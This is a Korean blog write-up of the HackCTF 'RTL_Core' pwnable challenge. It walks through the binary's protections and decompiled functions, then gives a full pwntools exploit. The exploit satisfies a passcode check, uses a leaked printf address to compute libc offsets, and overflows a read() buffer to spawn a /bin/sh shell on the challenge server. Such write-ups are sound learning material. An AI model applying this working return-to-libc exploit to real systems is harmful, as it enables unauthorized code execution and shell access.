메로나
[HackCTF] RTL_Core (250) write-up 본문
1. 보호기법 체크
[*] '/root/pwn/CTF/HackCTF/RTLcore/rtlcore'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2. Hex-Ray
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-1Ch]
setvbuf(_bss_start, 0, 2, 0);
puts(&::s);
printf("Passcode: ");
gets(&s);
if ( check_passcode((int)&s) == hashcode )
{
puts(&byte_8048840);
core();
}
else
{
puts(&byte_8048881);
}
return 0;
}
먼저 문자열을 받아오고 check_passcode 의 결과와 hashcode 값을 비교하고 만약에 맞다면 core 함수로 넘어가게 된다. check_hashcode 함수를 보면 아래와 같다.
int __cdecl check_passcode(int a1, int a2)
{
int v3; // [esp-8h] [ebp-8h]
signed int i; // [esp-4h] [ebp-4h]
v3 = 0;
for ( i = 0; i <= 4; ++i )
v3 += *(_DWORD *)(4 * i + a2);
return v3;
}
받아온 문자열을 4바이트씩 나눠 5번 v3에 더하고 v3을 return 해주는 함수이다. hashcode의 값은 0xC0D9B0A7라는 것을 찾을 수 있다. 그냥 첫번째 4바이트에 0xC0D9B0A7 넣고 나머지는 그냥 0만 넣어주면 된다. 그다음 core 함수는 아래와 같다.
ssize_t core()
{
int buf; // [esp+Ah] [ebp-3Eh]
int v2; // [esp+Eh] [ebp-3Ah]
__int16 v3; // [esp+12h] [ebp-36h]
int v4; // [esp+38h] [ebp-10h]
void *v5; // [esp+3Ch] [ebp-Ch]
buf = 0;
v2 = 0;
v4 = 0;
memset(
(void *)((unsigned int)&v3 & 0xFFFFFFFC),
0,
4 * (((unsigned int)((char *)&v2 - ((unsigned int)&v3 & 0xFFFFFFFC) + 46) & 0xFFFFFFFC) >> 2));
v5 = dlsym((void *)0xFFFFFFFF, "printf");
printf(&format, v5);
return read(0, &buf, 0x64u);
}
printf 함수의 실제 주소를 leak 해주고 buf에 문자열을 받아온다. printf 함수의 실제 주소가 주어지기 때문에 libc_base, system 함수와의 오프셋을 알고 있기 때문에 각각의 실제 주소를 알아낼 수 있고, 이를 통해 RTL을 할 수 있다. 이를 가지고 익스플로잇 코드를 작성해 보자.
3. Exploit!!!!!
from pwn import *
IP = 'ctf.j0n9hyun.xyz'
PORT = '3015'
p = remote(IP, PORT)
#p = process('./rtlcore')
e = ELF('./rtlcore')
libc = ELF('libc.so.6')
#libc = e.libc
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
payload = p32(0xC0D9B0A7)
payload += p32(0) * 4
p.sendline(payload)
log.success(p.recvline())
log.success(p.recvuntil("0x"))
printf_addr = "0x" + p.recv(8)
printf_addr = int(printf_addr, 16)
log.success(hex(printf_addr))
libc_base = printf_addr - printf_offset
system_addr = libc_base + system_offset
binsh = libc_base + libc.search('/bin/sh').next()
payload = "A" * (0x3e + 0x4)
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh)
p.sendline(payload)
p.interactive()
실행해 보면
익스완료 ~_~
'Wargame & CTF > Pwnable' 카테고리의 다른 글
[HackCTF] Gift (250) write-up (0) | 2020.12.22 |
---|---|
[HackCTF] Look at me (350) write-up (0) | 2020.12.19 |
[BalCCon2k20] mindgames_1336 write-up (0) | 2020.09.29 |
[HackCTF] Random Key (200) write-up (0) | 2020.09.01 |
[HackCTF] RTL_World (200) write-up (0) | 2020.08.21 |